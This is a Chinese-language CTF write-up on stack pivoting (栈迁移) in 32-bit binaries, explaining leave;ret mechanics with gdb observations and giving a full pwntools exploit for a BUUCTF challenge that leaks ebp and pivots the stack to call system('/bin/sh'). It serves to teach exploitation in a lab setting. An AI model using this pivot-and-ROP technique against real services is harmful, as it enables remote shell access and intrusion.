首页 > 其他分享 >PWN-栈迁移

PWN-栈迁移

时间:2024-06-01 22:30:18浏览次数:15  
标签:sp ret leave bp 寄存器 PWN 迁移

栈迁移

题目:BUUCTF在线评测 (buuoj.cn)

知识点:栈迁移

  1. 使用情况:题目中有栈溢出,但是 栈溢出的范围 有限,导致构造的ROP链不能完全写入到栈中,此时需要进行栈迁移,将栈迁移到能接受更多数据的位置(改变相继sp、bp寄存器的值),位函数调用、传参构造一个新的栈空间。

  2. 函数调用时,无论传参、存bp值还是存返回值都是用栈完成(以32位为例),在普通的栈溢出情况下构造ROP也无非是重新为函数的调用构造了一个 新栈 ,而 栈的位置由sp寄存器 的值确定。

  3. 要改变sp、bp寄存器,拿必定不能使用程序原先在栈上保存的bp寄存器值,所以要将其 覆盖掉 ,如何改变sp和bp即为栈迁移的关键。

  4. 改变sp、bp的关键在于函数退出时的 leave;ret -> mov sp,bp;popbp 指令,这组指令通常是被用来恢复函数的调用的栈帧,时程序返回后仍能正常运行,其与函数开头的 push;mov指令(用来生成栈帧)相反,先看这篇了解栈帧的相关知识 PWN入门–栈溢出_pwn栈溢出-CSDN博客

    image-20240601192020502

    image-20240601192244862

  5. 改变sp、bp需要用到 两层leave;ret 指令,将我们用来覆盖的值传递给sp寄存器,因为一层leave;ret 指令只能将bp寄存器的值改变,无法改变sp寄存器(原因:利用栈溢出无法在 mov sp,bp 指令前直接修改bp寄存器),但是第二层leave;ret 可以借助第一次修改的bp寄存器值来更新sp寄存器。因此,可以用 覆盖值 (覆盖掉bp寄存器指向的栈空间上的值)来更新sp寄存器。

    • 以该例题为例子进行调试:

    • 进入vul函数时,栈上的状态:

      image-20240601211007396

      image-20240601211509331

    • 可见bp寄存器中存储着地址 0xffffcfd8(调用者的sp寄存器值),bp所指向的栈空间上的值为 0xffffcfe8 (调用者的sp寄存器值,指向栈低)。

    • 此时输入0x30个字符来覆盖bp和其下面的返回值:

      image-20240601211355099

    • 可见bp寄存器指向的栈空间已经被覆盖(数据随便输入,仅实验用),后面的函数返回地址也被修改,此时执行最后的 leave;ret 指令,观寄存器的变化,可见bp寄存器的值已经被我们用来覆盖的值替换了,但是sp寄存器的值任然正常(因为push bp和ret,导致sp寄存器在原bp寄存器的基础上+8):

      image-20240601211836403

    • 此时如果将返回值替换为一组 leave;ret地址,修改ip值,再执行一次leave,那么sp寄存器将变化为 bp寄存器中的值+4 ,于是完成栈迁移过程,所以 新的返回值 就在 (bp)+4地址处,执行ret指令即可改变ip为该返回值,调用该处函数:

    • 第一次 leave;ret

      image-20240601212358780

    • 第二次 leave;ret

      image-20240601212410397

题解:

  1. vul函数中read函数值给了0x30个输入空间,只能覆盖到函数的返回值处(前面调试过),虽然存在后门函数hack,但是其参数不是 /bin/sh,在构造ROP时需要修改参数,者导致ROP链的长度超过了read的读取范围,一次考虑栈迁移:

    image-20240601213220865

    image-20240601213234098

  2. 栈迁移的位置因考虑在read的读取范围之内,首先应该考虑栈迁移的目标位置target,直接选择输入s的首地址即可,在 bp-0x38 处,所以首先需要 泄漏数bp处栈上 的值:

    image-20240601215613932

  3. printf函数将s以字符串的形式输出,遇到空白符才终止,所以只要将分配给s的空间全部填满即可泄漏bp处的地址,gbd调试如下:

    image-20240601220413055

    image-20240601220503921

  4. 迁移完成后,ret的返回值就在bp-0x38+4处,调用后函数的返回值就在bp-0x38+4+4(随便填),传递的 参数的地址 (参数“/bin/sh”需要手动写入,地址需要手动计算相对于bp的偏移bp-0x38+4+4+4+4)就放在bp-0x38+4+4+4,“/bin/sh”放在地址 bp-0x38+4+4+4+4 处。

  5. EXP如下:

    from pwn import *
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    p=remote('node5.buuoj.cn',28101)
    flag = []
    sys_addr = 0x08048400
    leave_ret = 0x08048562
    p.recvuntil("Welcome, my friend. What's your name?\n")
    
    #先泄漏出ebp地址,printf以字符串形式输出s,直到遇到空白符停止,所以可以泄漏ebp的值
    payload1= 0x20*b"a"+b"b"*0x8
    p.send(payload1)
    p.recvuntil("b"*0x8)
    ebp_addr=u32(p.recv(4))
    log.success('ebp==>'+hex(ebp_addr))
    
    #进行栈迁移
    payload2 = (b"aaaa"+p32(sys_addr)+p32(0)+p32(ebp_addr-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38) + p32(leave_ret)
    p.send(payload2)
    p.recvuntil(b'Hello, aaaa\n')
    p.sendline(b'cat flag')
    
    flag.append(p.recv().decode()[0:len(flag)-1])
    p.interactive()
    
    print(flag)
    

    image-20240601221641973

标签:sp,ret,leave,bp,寄存器,PWN,迁移
From: https://blog.csdn.net/yjh_fnu_ltn/article/details/139380660

相关文章

  • WSL子系统文件迁移至其他磁盘
    WSL系统迁移准备工作,查看存在的linux子系统wsl-l#适用于Linux的Windows子系统分发:#Ubuntu-22.04(默认)#docker-desktop#docker-desktop-data以Ubuntu-22.04为例,注意记录下系统原来的用户名,按顺序执行:#关闭所有wsl服务wsl--shutdown#将WSL文件导出为tar文......
  • 换电脑怎么软件搬家?最好的8个电脑迁移软件
    您知道何时需要数据迁移吗?比方说。您可能需要数据迁移以确保安全、备份或将操作系统升级到最新版本。您对迁移软件有任何了解吗?如您所想,我们将在本文中提供有关数据迁移软件的信息。让我们继续阅读。最佳数据迁移软件列表数据的完整性在很大程度上取决于用于数据传输的软件......
  • 用Python脚本迁移MongoDB数据到金仓-kingbase数据库
    1、首先需要明确MongoDB与kingbase的对应关系,collection相当于table,filed相当于字段,根据这个对应关系创建表;此次迁移的MongoDB里的数据字段是:_id(自动生成的objectid),image(转成二进制存储的文档)所以在金仓里创建表createtableadmin(idvarchar,imagebytea);2、安装Python环境......
  • ICDE’24|中国企业首获最佳论文,详解PolarDB Serverless如何在0.5秒内实现跨机迁移
    以下文章来源于阿里云开发者作者陈浩、章颖强引言数据库领域顶会ICDE2024于5月13-17日在荷兰乌特勒支(Utrecht,Netherlands)举办。ICDE(TheInternationalConferenceonDataEngineering) 与VLDB、SIGMOD被公认为是国际数据管理领域三大顶级学术会议,此次在荷兰召开......
  • pwn学习-ret2plt
    在之前进行ret2shellcode的学习时,需要NX保护机制是关闭的,但是现在一般情况下,保护机制默认都是开启的,那么该怎么办呢?下面我们将学习ret2plt技术,够着ROPChain来执行我们想要的代码ret2plt这种技术的目的是从PLT中泄漏函数的地址,例如二进制程序中有一个system或其他危险函数的......
  • 基于Matlab Reinhard算法的颜色迁移系统
    欢迎大家点赞、收藏、关注、评论啦,由于篇幅有限,只展示了部分核心代码。文章目录一项目简介二、功能三、系统四.总结一项目简介  一、项目背景与意义在图像处理领域,颜色迁移技术是一种重要的技术,它能够将一幅图像的颜色分布转移到另一幅图像上,实现颜色风格......
  • 大表迁移,内存不够,如何用纯代码实现?
    很多情况下,在工作中需要进行表单迁移,在没有迁移软件的前提下,应该如何进行操作呢?第一种思路可以通过命令行将表单文件导出再导入,但是表单文件足够大的情况下,导出和导入是非常麻烦的。在此提供一个纯java代码的简单思路。通常情况我们查询一个较大的表单需要花费很长的时间,并......
  • pwn学习-ret2shellcode
    今天学习了pwn中的ret2shellcode,在之前学习的ret2text中,程序给我们留下了后门函数,可以直接溢出执行,而ret2shellcode是最经典的栈溢出漏洞利用方法,简单原理如下:在栈溢出漏洞利用成功后,我们可以控制返回地址代码执行,但是这些代码在程序中默认没有,需要我们自己添加,这段代码被称为s......
  • pwn堆的结构及堆溢出理解
    堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长(栈由高地址向低地址增长)。我们一般称管理堆的那部分程序为堆管理器。堆是分配给程序的内存空间与栈不同,堆内存可以动态分配。这意味着程序可以在需要的时候从堆段中请求和释放内存。此外,此内存......
  • 在联网linux中编译nginx源码迁移到离线linux使用指南
    nginx没有预先编译好的npm包,通常需要通过编译源代码得到执行文件,下面介绍如何操作:1.找一台联网的linux服务器,安装必要的编译工具和依赖项sudoyumgroupinstall"DevelopmentTools"sudoyuminstallpcre-develzlib-developenssl-devel2.下载nginx源代码包wgethttp:/......